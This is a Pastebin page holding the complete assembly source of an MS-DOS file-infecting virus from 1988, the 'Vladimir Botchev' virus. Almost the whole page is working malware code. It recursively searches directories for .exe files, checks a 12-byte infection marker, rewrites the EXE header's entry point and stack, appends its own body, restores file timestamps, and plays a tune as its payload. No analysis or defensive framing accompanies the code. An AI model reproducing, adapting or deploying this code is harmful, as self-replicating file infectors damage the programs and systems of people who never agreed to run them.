FlyFar

Virus.MSDOS.VladimirBotchev - Source Code

Jun 20th, 2023
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 28.40 KB | Cybersecurity | 0 0
  1. comment  / Good luck! Vladimir Botchev, CICT-BAS, december 1988 /
  2.  
  3. data_area      struc          ;Define a pattern for working data
  4.                               ;area
  5. DS_save         dw      ?
  6. ES_save         dw      ?
  7. IP_save         dw      ?
  8. CS_save         dw      ?
  9. SS_save         dw      ?
  10. filematch       db      '*.exe',00h    ;Names for files to infect
  11. matchall        db      '*.*',00h      ;needed for the matching procedure
  12. infected        dw      00h            ;A very useful flag
  13. help_flag       dw      00h            ;These two flags are needed to
  14. where_from_flag dw      00h            ;determine if virus is free running
  15.                                        ;or from an infected program
  16.                                        ;therefore it's very important
  17.                                        ;that where_from_flag value
  18.                                        ;is set to zero at assembly time
  19. handle          dw      ?                              
  20. ip_old          dw      ?            ;old instruction pointer
  21. cs_old          dw      ?            ;old value of code segment
  22. ss_old          dw      ?
  23. far_push        dw      ?
  24. save_push       dw      ?
  25. buffer1         db      '\',63 dup (?)
  26. virus_stamp     db      'motherfucker'  ;Very hard to obtain in a random way
  27. buffer2         db      2b0h dup (?)
  28. new_area        db      64 dup (?)
  29. new_data        db      64 dup (?)
  30. pointer1        dw      ?
  31. pointer2        dw      ?
  32. pointer3        dw      ?
  33. pointer4        dw      ?
  34. pointer5        dw      ?
  35. pointer6        dw      ?
  36. pointer7        dw      ?
  37. pointer8        dw      ?
  38.  
  39. data_area      ends                  
  40.  
  41.       org      100h           ;Defined for .com file as virus must
  42.                               ;be able to run on itself
  43. start:  call   setup_data     ;This is a near call therefore it's a
  44.                               ;three byte instruction.It's purpose is
  45.                               ;to catch correct data area address
  46.                               ;even when virus is appended to the
  47.                               ;infected .exe program
  48. adjust  equ    offset pgm_start  ;Known offset value
  49. pgm_start   label    word
  50. virussize   equ      2793
  51.      
  52. work: mov      ax,ds          ;Save old DS
  53.       push     cs
  54.       pop      ds                        ;Update to needed DS value
  55.       mov      si,offset buffer.DS_save  ;Put old DS in a quiet place
  56.       sub      si,adjust
  57.       add      si,bx
  58.       mov      [si],ax
  59.       mov      si,offset buffer.ES_save  ;Save it because Get DTA side effects
  60.       sub      si,adjust
  61.       add      si,bx
  62.       mov      ax,es
  63.       mov      [si],ax
  64.       push     cs             ;Imperative because DI usage
  65.       pop      es
  66.       push      bx            ;It's imperative to always keep
  67.                               ;this value unchanged
  68.       mov      ax,2f00h       ;Get DTA function call
  69.       int      21h
  70.       mov      cx,bx          ;save address found
  71.       pop      bx
  72.       mov      si,offset buffer.pointer1
  73.       sub      si,adjust
  74.       add      si,bx
  75.       mov      [si],cx
  76.       add      si,2           ;Locate the segment immediately above
  77.       mov      ax,es
  78.       mov      [si],ax                        
  79.       push      cs
  80.       pop      es
  81.       mov      di,offset buffer.buffer1    ;adjust for first search
  82.       inc      di                          ;Jump over the '\'
  83.       sub      di,adjust
  84.       add      di,bx
  85.       mov      dx,0000h
  86.       push     bx
  87.       call     search_exe
  88.       pop      bx
  89.       mov      si,offset buffer.where_from_flag
  90.       sub      si,adjust
  91.       add      si,bx
  92.       cmp      word ptr [si],0000h
  93.       jnz      infected_run
  94.       int      020H
  95.  
  96. infected_run:
  97.       mov      si,offset buffer.pointer1
  98.       sub      si,adjust
  99.       add      si,bx
  100.       mov      dx,[si]
  101.       push     ds
  102.       mov      ax,[si+2]
  103.       mov      ds,ax
  104.       push     bx
  105.       mov      ax,1a00h
  106.       int      21h
  107.       pop      bx
  108.       pop      ds             ;Restore original DTA
  109.       mov      si,offset buffer.ES_save
  110.       sub      si,adjust
  111.       add      si,bx
  112.       mov      ax,[si]
  113.       mov      es,ax          ;Restore ES
  114.       push     bx             ;Here you can do whatever you want
  115.       call     mary_proc
  116.       pop      bx
  117.       mov      si,offset buffer.IP_save
  118.       sub      si,adjust
  119.       add      si,bx
  120.       mov      ax,[si]
  121.       mov      dx,[si+2]
  122.       mov      si,offset buffer.far_push   ;Restore original code
  123.       sub      si,adjust                   ;segment
  124.       add      si,bx
  125.       mov      cx,[si]
  126.       push     ax
  127.       mov      ax,cs
  128.       sub      ax,cx
  129.       mov      di,ax                       ;For stack
  130.       add      dx,ax
  131.       pop      ax
  132.      
  133.       mov      si,offset buffer.SS_save
  134.       sub      si,adjust                   ;Restore stack segment
  135.       add      si,bx
  136.       mov      cx,word ptr [si]
  137.       add      cx,di
  138.      
  139.       push     es
  140.       pop      ds
  141.      
  142.       cli
  143.       mov      ss,cx
  144.       sti
  145.       push     dx
  146.       push     ax
  147.       retf
  148.  
  149. search_exe     PROC
  150.       push     si
  151.       push     dx
  152.       call     transfer_filespec   ;transfer filename in another
  153.                                    ;working area
  154.       call     find_first          ;try to find a first match
  155.       jc       not_here            ;first match not found
  156.       call     try_to_infect       ;if found try to infect
  157.                                    ;infected != 0 if success
  158.       mov      si,offset buffer.infected
  159.       sub      si,adjust
  160.       add      si,bx
  161.       test     word ptr [si],0ffffh
  162.       jz       try_next
  163.       jmp      quiet_exit
  164.      
  165. try_next:
  166.       call     find_next           ;If infection was not succesful
  167.                                    ;try once more
  168.       jc       not_here
  169.       call     try_to_infect       ;If match found try to infect
  170.       mov      si,offset buffer.infected      ;again
  171.       sub      si,adjust
  172.       add      si,bx
  173.       test     word ptr [si],0ffffh
  174.       jz       try_next
  175.       jmp      quiet_exit          ;quiet exit simply jumps
  176.                                    ;to a return instruction
  177. not_here:
  178.       pop      dx                  ;If first searches are
  179.       push     dx                  ;unsuccesful try a '*.*' match
  180.       call     search_all
  181.       call     find_first
  182.       jnc      attribute_test      ;i.e. expect probably to
  183.                                    ;find a subdirectory
  184. quiet_exit:
  185.       pop      dx
  186.       pop      si
  187.       ret
  188.      
  189. attribute_test:            
  190.       mov      si,dx                    ;offset of DTA
  191.       test     byte ptr [si+015h],010h  ;where attribute byte is to
  192.                                         ;be found.Try first with
  193.                                         ;subdirectory attribute
  194.       jne      dir_found                ;subdirectory found
  195. more_tries:
  196.       call     find_next                ;Since the search was initiated
  197.                                         ;with '*.*' if this is not a
  198.                                         ;directory try to found one
  199.       jc       quiet_exit               ;No sense to search more
  200.       test     byte ptr [si+015h],010h
  201.       jz       more_tries               ;Search to the end
  202. dir_found:
  203.       cmp      byte ptr [si+01Eh],02Eh  ;Compare with the subdirectory
  204.                                         ;mark '.'
  205.       jz       more_tries               ;looking for files no
  206.                                         ;subdirectories
  207.       call     dta_compute              ;Valid entry, now set some DTA
  208.                                         ;and continue to search
  209.       push     ax
  210.       mov      ah,01Ah                  ;Set DTA function call
  211.       int      021h
  212.       pop      ax
  213.       push     si
  214.       mov      si,offset buffer.infected      
  215.       sub      si,adjust
  216.       add      si,bx
  217.       test     word ptr [si],0ffffh
  218.       pop      si
  219.       jnz      quiet_exit
  220.       jmp      more_tries                  
  221. search_exe     ENDP
  222.  
  223. dta_compute    PROC
  224.       push     di             ;Save some registers
  225.       push     si
  226.       push     ax
  227.       push     bx
  228.       cld                     ;Up count for SI,DI pair
  229.       mov      si,dx          ;DTA address to SI
  230.       add      si,01EH        ;and add subdirectory
  231.                               ;name offset
  232. store_loop:
  233.       lodsb      
  234.       stosb      
  235.       or       al,al
  236.       jne      store_loop     ;store loop
  237.       std
  238.       stosb      
  239.       mov      al,05Ch        ;Put in place the path name constructor
  240.       stosb      
  241.       add      di,2           ;Adjust di for new searches
  242.       call     search_exe     ;a heavily recursion
  243.       pop      bx             ;some cleanup and exit
  244.       pop      ax
  245.       pop      si
  246.       pop      di
  247.       ret      
  248. dta_compute    ENDP
  249.  
  250. try_to_infect   PROC                        
  251.       push     ax
  252.       push     bx
  253.       push     cx
  254.       push     dx
  255.       push     si
  256.       push     di
  257.      
  258.       push     es
  259.       push     bx
  260.       mov      ax,2f00h        ;Get DTA function call
  261.       int      21h
  262.       mov      ax,bx
  263.       pop      bx
  264.       mov      si,offset buffer.pointer3
  265.       sub      si,adjust
  266.       add      si,bx
  267.       mov      [si],ax         ;Offset saved
  268.       add      si,2
  269.       mov      ax,es
  270.       mov      [si],ax
  271.       pop      es              ;Segment located just above
  272.  
  273.       mov      dx,offset buffer.new_data
  274.       sub      dx,adjust
  275.       add      dx,bx
  276.       push     bx
  277.       mov      ax,1a00h
  278.       int      21h             ;Set DTA function call
  279.       pop      bx              ;It's very important to save BX in all calls
  280.       mov      di,offset buffer.new_area
  281.       mov      si,offset buffer.buffer1
  282.       sub      di,adjust
  283.       sub      si,adjust
  284.       add      di,bx
  285.       add      si,bx
  286.       cld                      ; Move previously found pathname or filename
  287.                                ; to new data area
  288. move_path:                                    
  289.       lodsb
  290.       stosb
  291.       or       al,al
  292.       jnz      move_path
  293.       std                      ;adjust DI to recieve
  294.       mov      al,'\'          ;filename.
  295.       mov      cx,0040h
  296.       std                      ;Search backward
  297.       repne   scasb
  298.      
  299.       mov      si,offset buffer.pointer3
  300.       sub      si,adjust
  301.       add      si,bx
  302.       mov      ax,[si]
  303.       mov      si,ax
  304.       add      di,2                        
  305. o_kay:
  306.       add      si,001eh        ;The beginning of the filename...
  307.       cld                      ;Now move name
  308. move_fnm:
  309.       lodsb
  310.       stosb
  311.       or       al,al
  312.       jnz      move_fnm
  313.                                                        
  314.       push     dx
  315.       push     bx
  316.       mov      dx,offset buffer.new_area
  317.       sub      dx,adjust
  318.       add      dx,bx
  319.       mov      ax,3d02h        ;Open file with handle for read/write
  320.       int      21h
  321.       pop      bx
  322.       pop      dx
  323.       jnc      go_ahead        ;In case file cannot be opened
  324.       jmp      error_exit
  325. go_ahead:
  326.       mov      si,offset buffer.handle
  327.       sub      si,adjust
  328.       add      si,bx
  329.       mov      [si],ax         ;Save handle
  330.      
  331.       push     bx
  332.       mov      bx,ax           ;Prepare for lseek
  333.       push     dx
  334.       mov      cx,0000h        ;Look at the end of the file
  335.       mov      dx,0000h        ;Offset of -12 from the end of the file
  336.       mov      ax,4202h        ;Lseek function call
  337.       int      21h
  338.       mov      cx,dx
  339.       pop      dx
  340.       pop      bx
  341.       jnc      compute_length
  342.       jmp      close_error
  343.      
  344. compute_length:
  345.       sub      ax,000ch
  346.       sbb      cx,0000h        ;Exact position
  347. save_offset:
  348.       mov      si,offset buffer.pointer5
  349.       sub      si,adjust
  350.       add      si,bx
  351.       mov      [si],ax
  352.       add      si,2
  353.       mov      [si],cx
  354.      
  355.       push     bx
  356.       push     dx
  357.       mov      si,offset buffer.handle
  358.       sub      si,adjust
  359.       add      si,bx
  360.       mov      bx,[si]
  361.       mov      dx,ax
  362.       mov      ax,4200h        ;From beginning of file
  363.       int      21h             ;Lseek function call
  364.       pop      dx
  365.       pop      bx
  366.       jnc      set_buffer
  367.       jmp      close_error
  368.            
  369. set_buffer:      
  370.       push     bx
  371.       push     dx
  372.       mov      dx,offset buffer.new_data
  373.       sub      dx,adjust
  374.       add      dx,bx
  375.       mov      si,offset buffer.handle
  376.       sub      si,adjust
  377.       add      si,bx
  378.       mov      bx,[si]         ;Load handle
  379.       mov      cx,000ch
  380.       mov      ax,3f00h
  381.       int      21h             ;Read function call
  382.       pop      dx
  383.       pop      bx
  384.       jnc      read_ok
  385.       jmp      close_error
  386.      
  387. read_ok:
  388.       mov      si,offset buffer.virus_stamp
  389.       mov      di,offset buffer.new_data
  390.       sub      si,adjust
  391.       sub      di,adjust
  392.       add      si,bx
  393.       add      di,bx
  394.       mov      cx,12           ;Length of strings to compare
  395.       repe     cmpsb
  396.       pushf
  397.       mov      si,offset buffer.infected      
  398.       sub      si,adjust
  399.       add      si,bx
  400.       mov      word ptr [si],0000h            
  401.       popf
  402.       jnz      infect_it
  403.  
  404. close_error:
  405.       mov      si,offset buffer.handle
  406.       sub      si,adjust
  407.       add      si,bx
  408.       push     bx
  409.       mov      bx,[si]
  410.       mov      ax,3e00h        ;Close file function call
  411.       int      21h
  412.       pop      bx
  413.       jmp      error_exit
  414.      
  415. infect_it:
  416.       mov      si,offset buffer.infected      
  417.       sub      si,adjust
  418.       add      si,bx
  419.       mov      word ptr [si],7777h            
  420.      
  421.       mov      si,offset buffer.where_from_flag
  422.       sub      si,adjust
  423.       add      si,bx
  424.       mov      ax,[si]
  425.       sub      si,2
  426.       mov      [si],ax         ;This code effectively moves
  427.                                ;where_from_flag into help_flag
  428.       add      si,2
  429.       mov      [si],5a5ah      ;Ready to infect
  430.       push     bx
  431.       push     dx
  432.       mov      si,offset buffer.handle
  433.       sub      si,adjust
  434.       add      si,bx
  435.       mov      bx,[si]
  436.       xor      cx,cx
  437.       xor      dx,dx
  438.       mov      ax,4200h        ;From beginning of file
  439.       int      21h             ;Lseek function call
  440.       pop      dx
  441.       pop      bx
  442.       jnc      set_new_data
  443.       jmp      append_ok
  444.      
  445. set_new_data:
  446.       push     bx
  447.       push     dx
  448.       mov      dx,offset buffer.new_data
  449.       sub      dx,adjust
  450.       add      dx,bx
  451.       mov      si,offset buffer.handle
  452.       sub      si,adjust
  453.       add      si,bx
  454.       mov      bx,[si]         ;Load handle
  455.       mov      cx,001bh        ;Read formatted exe header
  456.       mov      ax,3f00h
  457.       int      21h             ;Read function call
  458.       pop      dx
  459.       pop      bx
  460.       jnc      read_header
  461.       jmp      append_ok
  462.  
  463. read_header:
  464.       nop                      ;some code to modify header
  465.       mov      si,offset buffer.pointer5
  466.       sub      si,adjust
  467.       add      si,bx
  468.       mov      ax,[si]
  469.       add      si,2
  470.       add      ax,0ch
  471.       adc      word ptr [si],0000h
  472.       sub      si,2
  473.       mov      [si],ax         ;This code restores original filelength
  474.       mov      si,offset buffer.new_data
  475.       sub      si,adjust
  476.       add      si,bx
  477.       mov      ax,[si]
  478.       cmp      ax,5a4dh        ;check for valid exe file
  479.       jz       valid_exe
  480.       jmp      append_ok
  481.      
  482. valid_exe:
  483.       mov      ax,[si+8]       ;Load module size
  484.       xor      dx,dx
  485.       shl      ax,1
  486.       rcl      dx,1
  487.       shl      ax,1
  488.       rcl      dx,1
  489.       shl      ax,1
  490.       rcl      dx,1
  491.       shl      ax,1
  492.       rcl      dx,1            ;Multiply by 16
  493.      
  494.       push     ax
  495.       push     dx              ;Adjust new size
  496.       push     cx
  497.       mov      dx,virussize-896+64
  498.       push     dx
  499.       mov      cx,0009h
  500.       shr      dx,cl
  501.       add      word ptr [si+4],dx
  502.       pop      dx
  503.       and      dx,01ffh
  504.       add      dx,word ptr [si+2]
  505.       cmp      dx,512
  506.       jl       adjust_okay
  507.       sub      dx,512
  508.       inc      word ptr [si+4]
  509. adjust_okay:
  510.       mov      word ptr [si+2],dx      
  511.       pop      cx
  512.       pop      dx
  513.       pop      ax
  514.      
  515.       push     si              ;This SI is very useful so save it
  516.       mov      si,offset buffer.pointer5
  517.       sub      si,adjust
  518.       add      si,bx
  519.       sub      [si],ax
  520.       mov      ax,[si]
  521.       sbb      [si+2],dx
  522.       mov      dx,[si+2]       ;the byte size of the load module
  523.       pop      si
  524.      
  525.       push     ax
  526.       push     dx
  527.       mov      ax,[si+14h]
  528.       mov      dx,[si+16h]     ;Get CS:IP value
  529.       mov      cx,[si+0eh]     ;Get SS value
  530.       push     si
  531.       mov      si,offset buffer.IP_save
  532.       sub      si,adjust
  533.       add      si,bx
  534.       xchg     [si],ax
  535.       xchg     [si+2],dx
  536.       mov      si,offset buffer.SS_save
  537.       sub      si,adjust
  538.       add      si,bx
  539.       xchg     [si],cx
  540.       mov      si,offset buffer.ip_old
  541.       sub      si,adjust
  542.       add      si,bx
  543.       mov      [si],ax
  544.       mov      [si+2],dx
  545.       mov      si,offset buffer.ss_old
  546.       sub      si,adjust
  547.       add      si,bx
  548.       mov      [si],cx
  549.       pop      si
  550.       pop      dx
  551.       pop      ax
  552.      
  553.       push      ax
  554.       push      dx
  555.      
  556.       shl      ax,1
  557.       rcl      dx,1
  558.       shl      ax,1
  559.       rcl      dx,1
  560.       shl      ax,1
  561.       rcl      dx,1
  562.       shl      ax,1
  563.       rcl      dx,1            ;Multiply by 16
  564.      
  565.       mov      cx,0008h
  566.       shl      dx,cl
  567.       mov      cx,0004h
  568.       shr      ax,cl           ;A very obscure algorithm to make
  569.                                ;a segment:offset pair
  570.       mov      [si+14h],ax
  571.       mov      [si+16h],dx     ;Infected values
  572.  
  573.       push     si
  574.       mov      si,offset buffer.far_push
  575.       sub      si,adjust
  576.       add      si,bx
  577.       xchg     [si],dx
  578.       mov      word ptr [si+2],dx
  579.       pop      si
  580.            
  581.       pop      dx
  582.       pop      ax
  583.       add      ax,virussize    
  584.       adc      dx,0000h
  585.       mov      cx,0003h      
  586.  
  587. mul_loop:
  588.       shl      ax,1
  589.       rcl      dx,1
  590.       shl      ax,1
  591.       rcl      dx,1
  592.       shl      ax,1
  593.       rcl      dx,1
  594.       shl      ax,1
  595.       rcl      dx,1            ;Multiply by 4096
  596.       loop     mul_loop
  597.                        
  598.       or       ax,ax
  599.       jz       exact_value
  600.       inc      dx
  601. exact_value:      
  602.       mov      [si+0eh],dx     ;Infected stack segment
  603.                                ;Write back infected header
  604.       push     si
  605.       push     bx
  606.       mov      si,offset buffer.handle
  607.       sub      si,adjust
  608.       add      si,bx
  609.       mov      bx,[si]
  610.       mov      ax,5700h        ;Get time function
  611.       int      21h
  612.       pop      bx
  613.       pop      si
  614.       jnc      correct_time
  615.       jmp      append_ok1
  616.      
  617. correct_time:
  618.       push     cx
  619.       push     bx
  620.       push     dx
  621.       mov      si,offset buffer.handle
  622.       sub      si,adjust
  623.       add      si,bx
  624.       mov      bx,[si]
  625.       xor      cx,cx
  626.       xor      dx,dx
  627.       mov      ax,4200h        ;From beginning of file
  628.       int      21h             ;Lseek function call
  629.       pop      dx
  630.       pop      bx
  631.       pop      cx
  632.       jnc      continue_infection
  633.       jmp      append_ok1
  634.      
  635. continue_infection:
  636.       push     cx
  637.       push     dx
  638.       push     bx
  639.       mov      dx,offset buffer.new_data
  640.       sub      dx,adjust
  641.       add      dx,bx
  642.       mov      si,offset buffer.handle
  643.       sub      si,adjust
  644.       add      si,bx
  645.       mov      bx,[si]         ;Load handle
  646.       mov      cx,001bh        ;Write infected exe header
  647.       mov      ax,4000h
  648.       int      21h             ;Write function call
  649.       pop      bx
  650.       pop      dx
  651.       pop      cx
  652.       jnc      glue_virus
  653.       jmp      append_ok1
  654.  
  655. glue_virus:
  656.       push     cx
  657.       push     bx
  658.       push     dx
  659.       mov      si,offset buffer.handle
  660.       sub      si,adjust
  661.       add      si,bx
  662.       mov      bx,[si]
  663.       xor      cx,cx
  664.       xor      dx,dx
  665.       mov      ax,4202h        ;From the end of file
  666.       int      21h             ;Lseek function call
  667.       pop      dx
  668.       pop      bx
  669.       pop      cx
  670.       jnc      write_data
  671.       jmp      append_ok1
  672.      
  673. write_data:
  674.       mov      si,offset buffer.handle
  675.       sub      si,adjust
  676.       add      si,bx
  677.      
  678.       push     dx
  679.       push     cx
  680.       mov      dx,bx
  681.       sub      dx,3            ;The starting three byte call instruction
  682.       push     es
  683.       push     bx
  684.       push     dx
  685.       push     si
  686.       mov      ax,2f00h
  687.       int      21h
  688.       pop      si
  689.       pop      dx
  690.       push     es
  691.       push     bx
  692.       push     si
  693.       mov      ax,1a00h
  694.       int      21h
  695.       pop      si
  696.       mov      bx,[si]              ;Load handle
  697.       mov      cx,virussize-896+64  ;Length of virus obtained
  698.       mov      ax,4000h             ;with dir
  699.       int      21h
  700.       lahf                     ;Write function call
  701.       pop      bx
  702.       pop      es
  703.       push     ds
  704.       push     es
  705.       pop      ds
  706.       mov      dx,bx
  707.      
  708.       push     ax
  709.       mov      ax,1a00h
  710.       int      21h
  711.       pop      ax
  712.       pop      ds
  713.       pop      bx
  714.       pop      es
  715.       pop      cx
  716.       pop      dx
  717.      
  718.       sahf
  719.       jnc      put_stamp       ;Error or not file
  720.       jmp      append_ok1      ;is closed      
  721.      
  722. put_stamp:
  723.       push     bx
  724.       mov      si,offset buffer.handle
  725.       sub      si,adjust
  726.       add      si,bx
  727.       mov      bx,[si]
  728.       mov      ax,5701h        ;Set time function
  729.       int      21h
  730.       pop      bx
  731. append_ok1:
  732.       mov      si,offset buffer.ip_old  ;Restore previous CS:IP values
  733.       sub      si,adjust
  734.       add      si,bx
  735.       mov      ax,[si]
  736.       mov      dx,[si+2]
  737.       mov      si,offset buffer.IP_save
  738.       sub      si,adjust
  739.       add      si,bx
  740.       mov      [si],ax
  741.       mov      [si+2],dx      
  742.       mov      si,offset buffer.save_push
  743.       sub      si,adjust
  744.       add      si,bx
  745.       mov      ax,[si]
  746.       mov      word ptr [si-2],ax
  747.       mov      si,offset buffer.ss_old
  748.       sub      si,adjust
  749.       add      si,bx
  750.       mov      ax,[si]
  751.       mov      si,offset buffer.SS_save
  752.       sub      si,adjust
  753.       add      si,bx
  754.       mov      word ptr [si],ax
  755. append_ok:
  756.       mov      si,offset buffer.help_flag
  757.       sub      si,adjust
  758.       add      si,bx
  759.       mov      ax,[si]
  760.       add      si,2
  761.       mov      [si],ax         ;This code effectively moves
  762.                                ;help_flag into where_from_flag
  763.       jmp      close_error
  764. error_exit:
  765.       mov      si,offset buffer.pointer3
  766.       sub      si,adjust
  767.       add      si,bx
  768.       mov      dx,[si]         ;Restore original DTA
  769.       add      si,2
  770.       mov      ax,[si]
  771.       push     ds
  772.       mov      ds,ax
  773.       mov      ax,1a00h        ;Set DTA function call
  774.       int      21h
  775.       pop      ds
  776.       pop      di
  777.       pop      si
  778.       pop      dx
  779.       pop      cx
  780.       pop      bx
  781.       pop      ax
  782.       ret            
  783. try_to_infect  ENDP
  784.                                                
  785. transfer_filespec   PROC
  786.       push     si
  787.       mov      si,offset buffer.filematch  ;Transfer name to the working area
  788.       sub      si,adjust
  789.       add      si,bx
  790.       call     byte_move
  791.       pop      si
  792.       ret      
  793. transfer_filespec   ENDP
  794.  
  795. search_all     PROC
  796.       push     si
  797.       mov      si,offset buffer.matchall      ;This is the '*.*' filename
  798.       sub      si,adjust
  799.       add      si,bx
  800.       call     byte_move
  801.       pop      si
  802.       ret      
  803. search_all     ENDP
  804.      
  805. byte_move      PROC
  806.       push     ax
  807.       push     di
  808.       cld      
  809. move_loop:
  810.       lodsb      
  811.       stosb      
  812.       or       al,al      ;The string to move is ASCIIZ
  813.       jne      move_loop
  814.       pop      di
  815.       pop      ax
  816.       ret      
  817. byte_move      ENDP
  818.      
  819. find_first     PROC
  820.       push     cx
  821.       push     bx
  822.       cmp      dx,0000h
  823.       jnbe     over_set
  824.       mov      dx,offset buffer.buffer2   ;Set Data Transfer Area
  825.       sub      dx,adjust                  ;or Disk Transfer area
  826.       add      dx,bx
  827. over_set:
  828.       add      dx,02Bh
  829.       mov      cx,00010h       ;Attribute byte for directory search
  830.       mov      ah,01ah
  831.       int      021h            ;Set DTA function call
  832.       pop      bx
  833.       push     bx
  834.       push     dx
  835.       mov      dx,offset buffer.buffer1
  836.       sub      dx,adjust
  837.       add      dx,bx
  838.       mov      ah,04eh         ;find first function call
  839.       int      021h
  840.       pop      dx
  841.       pop      bx
  842.       pop      cx
  843.       ret      
  844. find_first     ENDP
  845.      
  846. find_next      PROC
  847.       push     cx
  848.       push     bx
  849.       push     dx
  850.       mov      dx,offset buffer.buffer1
  851.       sub      dx,adjust
  852.       add      dx,bx
  853.       mov      cx,00010h
  854.       mov      ah,04fh          ;Find next function call
  855.       int      021h
  856.       pop      dx
  857.       pop      bx
  858.       pop      cx
  859.       ret      
  860. find_next      ENDP
  861.  
  862. delay          PROC
  863.       push     ax
  864.       push     bx
  865.       push     cx
  866.       push     dx
  867.       mov      ah,2ch           ;Read current time
  868.       int      21h
  869.       mov      ah,ch
  870.       add      al,cl
  871.       add      bh,dh
  872.       add      bl,dl
  873.       cmp      bl,100
  874.       jb       secs
  875.       sub      bl,100
  876.       inc      bh
  877. secs:
  878.       cmp      bh,60
  879.       jb       mins
  880.       sub      bh,60
  881.       inc      al
  882. mins:
  883.       cmp      al,60
  884.       jb       hours
  885.       sub      al,60
  886.       inc      ah
  887. hours:
  888.       cmp      ah,24
  889.       jne      tcheck
  890.       sub      ah,ah
  891. tcheck:
  892.       push     ax
  893.       mov      ah,2ch
  894.       int      21h
  895.       pop      ax
  896.       cmp      cx,ax
  897.       ja       tdquit
  898.       jb       tcheck
  899.       cmp      dx,bx
  900.       jb       tcheck
  901. tdquit:
  902.       pop      dx
  903.       pop      cx
  904.       pop      bx
  905.       pop      ax
  906.       ret
  907. delay          ENDP                                    
  908.  
  909. sound          PROC
  910.       push     ax
  911.       push     cx
  912.       push     dx
  913.       push     di
  914.      
  915.       mov      al,0b6h
  916.       out      43h,al
  917.       mov      dx,14h
  918.       mov      ax,533h*896
  919.       div      di
  920.       out      42h,al
  921.       mov      al,ah
  922.       out      42h,al
  923.       in       al,61h
  924.       mov      ah,al
  925.       or       al,3
  926.       out      61h,al
  927.       mov      al,cl
  928.       call     delay
  929.       mov      al,ah
  930.       out      61h,al
  931.       pop      di
  932.       pop      dx
  933.       pop      cx
  934.       pop      ax
  935.       ret
  936. sound          ENDP
  937.  
  938. music_play     PROC
  939.       push     bx
  940.       push     cx
  941.       push     di
  942.       push     si
  943.       push     bp
  944. freq:
  945.       mov      di,[si]
  946.       cmp      di,0ffffh
  947.       je       end_play
  948.       mov      bl,ds:[bp]
  949.       sub      cl,cl
  950.       sub      bh,bh
  951.       call     sound
  952.       add      si,2
  953.       inc      bp
  954.       jnz      freq
  955. end_play:
  956.       pop      bp
  957.       pop      si
  958.       pop      di
  959.       pop      cx
  960.       pop      bx
  961.       ret
  962. music_play     ENDP
  963.  
  964. mary_proc      PROC
  965.       push     bx
  966.       push     bp
  967.       mov      si,offset mary_freq
  968.       mov      bp,offset mary_time
  969.       sub      si,adjust
  970.       sub      bp,adjust
  971.       add      si,bx
  972.       add      bp,bx
  973.       call     music_play
  974.       pop      bp
  975.       pop      bx
  976.       ret      
  977. mary_proc      ENDP
  978.  
  979. mary_freq   dw      262,262,293,329,262,329,293,196
  980.             dw      262,262,293,329,262,262
  981.             dw      262,262,293,329,349,329,293,262
  982.             dw      246,196,220,246,262,262
  983.             dw      220,246,220,174,220,246,262,220
  984.             dw      196,220,196,174,164,174,196
  985.             dw      220,246,220,174,220,246,262,220
  986.             dw      196,262,246,293,262,262,0ffffh
  987. mary_time   db      8 dup(25)
  988.             db      4 dup(25), 50, 50
  989.             db      8 dup(25)
  990.             db      4 dup(25), 50, 50
  991.             db      26, 25, 26, 5 dup(25)
  992.             db      26, 25, 26, 3 dup(25), 30
  993.             db      26, 25, 26, 4 dup(25), 30
  994.             db      4 dup(25), 50, 50
  995. setup_data:
  996.       cli
  997.       pop      bx       ;This will catch instruction pointer
  998.       push     bx      
  999.       sti               ;value and after that restore stack
  1000.       ret               ;pointer value            
  1001. buffer data_area <>     ;Reseve data_area space      
Add Comment
Please, Sign In to add comment